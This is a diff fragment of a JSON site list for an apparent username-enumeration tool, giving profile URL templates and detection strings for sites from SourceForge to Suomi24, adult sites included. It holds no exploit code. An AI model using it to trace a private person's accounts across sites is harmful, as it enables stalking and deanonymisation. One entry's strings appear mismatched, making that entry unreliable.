+ "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sourceforge", + "url": "https://sourceforge.net/user/username/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\": 1", + "match_code": 400, + "match_string": "\"error\": \"invalid\"" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Sourcewatch", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "southbayriders.com", + "url": "http://www.southbayriders.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SouthernGFE", + "url": "https://www.southerngfe.com/escorts/search?searchword={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Your search does not return any result.", + "match_string": "title='{username}" + }, + { + "name": "Southklad", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "southparkz.net", + "url": "http://southparkz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sovgavan.ru", + "url": "http://sovgavan.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soylentnews", + "url": "https://soylentnews.org/~{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "name": "Sp-shopogoliki", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Spaces", + "url": "https://spaces.im/mysite/index/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + }, + { + "name": "spaceserials.ru", + "url": "http://spaceserials.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spankpay", + "url": "https://spankpay.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "SpankPay.Me", + "match_string": " - SpankPay.Me" + }, + { + "name": "Spark", + "url": "https://spark.ru/startup/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sparkpeople", + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user" + }, + { + "name": "Sparkpeople", + "url": "https://sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user", + "match_string": "member_" + }, + { + "name": "Spartak_msk", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443" + }, + { + "name": "Spb-projects", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Speaker Deck", + "url": "https://speakerdeck.com/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found - Speaker Deck", + "match_code": 200, + "match_string": ") on Speaker Deck" + }, + { + "name": "Speakerdeck", + "url": "https://speakerdeck.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found" + }, + { + "name": "specchiasol.ru", + "url": "http://specchiasol.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spectrum", + "url": "https://spectrum.chat/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "spectrum-z.ru", + "url": "http://spectrum-z.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "speedrun", + "url": "https://www.speedrun.com/user/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "speedrun.com", + "match_code": 200, + "match_string": "Runs - " + }, + { + "name": "Speedrun", + "url": "https://speedrun.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "not found." + }, + { + "name": "Speedrun.com", + "url": "https://speedrun.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found - Speedrun", + "match_string": "\"user\":{\"id\":\"" + }, + { + "name": "Spells8", + "url": "https://forum.spells8.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SpiceWorks", + "url": "https://community.spiceworks.com/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spinchat", + "url": "https://www.spinchat.com/hp/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "spishu.ru", + "url": "http://spishu.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "splatoonwiki.org", + "url": "https://splatoonwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spletenie", + "url": "https://www.spletenie.ru/users/{}/stranamam/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "spletnik", + "url": "https://spletnik.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splice", + "url": "https://splice.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splits.io", + "url": "https://splits.io/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPOJ", + "url": "https://www.spoj.com/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Innopolis Open 2018", + "match_code": 200, + "match_string": "

    Activity over the last year

    " + }, + { + "name": "Sponsr", + "url": "https://sponsr.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/people", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sporcle", + "url": "https://www.sporcle.com/user/{}/people/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "This Sporcle user cannot be found.", + "match_code": 200, + "match_string": "'s Sporcle Friends" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/quizzes/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://sporcle.com/user/{}/people", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "This Sporcle user cannot", + "match_string": "profile-" + }, + { + "name": "Sporewiki", + "url": "https://sporewiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sportbox", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439" + }, + { + "name": "Sportlerfrage", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sports", + "url": "https://www.sports.ru/search/?query={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sports", + "url": "https://sports.ru/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "info-block" + }, + { + "name": "Sports Tracker", + "url": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"code\":\"404\"", + "match_code": 200, + "match_string": "\"uuid\":" + }, + { + "name": "sports.ru", + "url": "https://www.sports.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sportsjournalists", + "url": "https://www.sportsjournalists.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sportsjournalists.com", + "url": "http://sportsjournalists.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SportsTracker", + "url": "https://www.sports-tracker.com/view_profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"code\":\"404\"" + }, + { + "name": "Sportstracklive", + "url": "https://www.sportstracklive.com/en/user/{}", + "category": "health", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify", + "url": "https://open.spotify.com/user/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify_community", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "category": "music", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\t\t0 results" + }, + { + "name": "Sprashivai", + "url": "http://sprashivai.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Sprashivai_CLOSEDEAD", + "url": "http://sprashivai.ru/{}?sl", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "spreadshirt.com", + "url": "https://spreadshirt.com/shop/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spreaker", + "url": "https://www.spreaker.com/user/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Spursarmy", + "url": "https://spursarmy.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": ">\u041e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "sputnikkey.ru", + "url": "http://sputnikkey.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPW", + "url": "https://forum.spw.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "spygaming.clan.su", + "url": "http://spygaming.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SQL", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sr", + "url": "https://sr.ht/~{}/", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Srclog", + "url": "https://srclog.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ssb_wiki", + "url": "https://www.ssbwiki.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ssbwiki.com", + "url": "https://ssbwiki.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sspai", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "sst.hiberworld.com", + "url": "https://sst.hiberworld.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found" + }, + { + "name": "sstalkers.ru", + "url": "http://sstalkers.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stackexchange", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "StackOverflow", + "url": "https://stackoverflow.com/users/filter?search={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "no-search-results", + "match_string": "user-info" + }, + { + "name": "Stackoverflow", + "url": "https://stackoverflow.com/users/?search={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "p>No users matched your search" + }, + { + "name": "Stackoverflow_ES", + "url": "https://es.stackoverflow.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043c\u044f: " + }, + { + "name": "Stalkerbar", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "stalkerbar.at.ua", + "url": "http://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizen", + "url": "https://robertsspaceindustries.com/citizens/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizens Community", + "url": "https://robertsspaceindustries.com/community-hub/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star-girl", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Starcitizen", + "url": "https://starcitizen.tools/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Starexclub", + "url": "https://www.starexclub.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "starfiles.at.ua", + "url": "http://starfiles.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "starfywiki.org", + "url": "https://starfywiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "staroverovka.ucoz.ua", + "url": "http://staroverovka.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stars", + "url": "https://stars.avn.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"profile\"" + }, + { + "name": "Starsonice", + "url": "https://starsonice.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Starvault", + "url": "https://starvault.se/mortalforums/members/?username={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Starwars", + "url": "https://starwars.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Statistika", + "url": "http://statistika.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stats_stackexchange", + "url": "https://stats.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched" + }, + { + "name": "Status Cafe", + "url": "https://status.cafe/users/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Statuspage", + "url": "https://{}.statuspage.io/api/v2/status.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "You are being redirected.", + "match_code": 200, + "match_string": "updated_at" + }, + { + "name": "stay.ucoz.ru", + "url": "http://stay.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Steam", + "url": "https://steamcommunity.com/id/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (by id)", + "url": "https://steamcommunity.com/profiles/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (Group)", + "url": "https://steamcommunity.com/groups/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No group could be retrieved for the given URL" + }, + { + "name": "Steam Community (User)", + "url": "https://steamcommunity.com/id/{}/", + "category": "gaming", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "steamdb.info", + "url": "https://steamdb.info/calculator/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "profileForm" + }, + { + "name": "SteamGifts", + "url": "https://www.steamgifts.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "\"identifier\":" + }, + { + "name": "Steamid", + "url": "https://steamid.uk/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    Profile not found
    " + }, + { + "name": "Steamidfinder", + "url": "https://steamidfinder.com/lookup/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "could not be found.", + "match_string": "se our custom tools to build a Steam profile badge" + }, + { + "name": "Steemcoinpan", + "url": "https://steemcoinpan.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "UserProfile__stats" + }, + { + "name": "steemit", + "url": "https://steemit.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "NotFound__menu", + "match_string": "profile" + }, + { + "name": "steller.co", + "url": "https://steller.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "Sti-club", + "url": "http://www.sti-club.su/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Stihi.ru", + "url": "https://www.stihi.ru/avtor/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Stocktwits", + "url": "https://stocktwits.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "(@{username})" + }, + { + "name": "Stoimost", + "url": "https://stoimost.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stoners.social (Mastodon Instance)", + "url": "https://stoners.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Stop-narko_info", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "stop-nazi.at.ua", + "url": "http://stop-nazi.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stopgame", + "url": "https://stopgame.ru/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stopgame.ru", + "url": "https://stopgame.ru/users/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Store_kde", + "url": "https://store.kde.org/u/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Strava | ", + "match_string": "Strava" + }, + { + "name": "Strava", + "url": "https://strava.com/athletes/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "media-body main" + }, + { + "name": "StreamElements", + "url": "https://api.streamelements.com/kappa/v2/channels/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "error", + "match_code": 200, + "match_string": "\"providerId\"" + }, + { + "name": "StreamLabs", + "url": "https://streamlabs.com/api/v6/user/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 401, + "error_string": "Unauthorized", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/api/front/users/checkUsername?username={}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "[]", + "match_code": 400, + "match_string": "\"error\":\"This username already exists\"" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/{}", + "category": "adult", + "source": "reveal_my_name", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops. The page you were looking for doesn't exist", + "match_code": 200, + "match_string": "I Do in My Shows:" + }, + { + "name": "stripchat.global", + "url": "https://stripchat.global/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    404
    ", + "match_string": "profile email" + }, + { + "name": "stroy-s-nami.ucoz.com", + "url": "http://stroy-s-nami.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stroyneemvmeste.ucoz.ru", + "url": "http://stroyneemvmeste.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "student-telecom.ru", + "url": "http://student-telecom.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "studentur.com.ua", + "url": "http://studentur.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Studfile", + "url": "https://studfile.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Studwork", + "url": "https://studwork.org/info/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "herdun", + "match_string": "\u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "studygolang", + "url": "https://studygolang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Stunited", + "url": "http://stunited.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruforester.org", + "url": "https://subaruforester.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruoutback.org", + "url": "https://subaruoutback.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subeta", + "url": "https://subeta.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Invalid user" + }, + { + "name": "Subforums", + "url": "https://subforums.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "subforums.net", + "url": "https://subforums.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subscribestar", + "url": "https://subscribestar.adult/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "match_code": 200, + "match_string": "CREATOR STATS" + }, + { + "name": "Substack", + "url": "https://substack.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to", + "match_string": "profile\\" + }, + { + "name": "Substack", + "url": "https://{}.substack.com/", + "category": "news", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Suedtirolnews", + "url": "https://suedtirolnews.it/user/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-body" + }, + { + "name": "sufficit.ucoz.ru", + "url": "http://sufficit.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suicidegirls", + "url": "https://www.suicidegirls.com/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sukebei.nyaa.si", + "url": "https://sukebei.nyaa.si/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "'s torrents" + }, + { + "name": "Suomi24", + "url": "https://www.suomi24.fi/profiili/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + 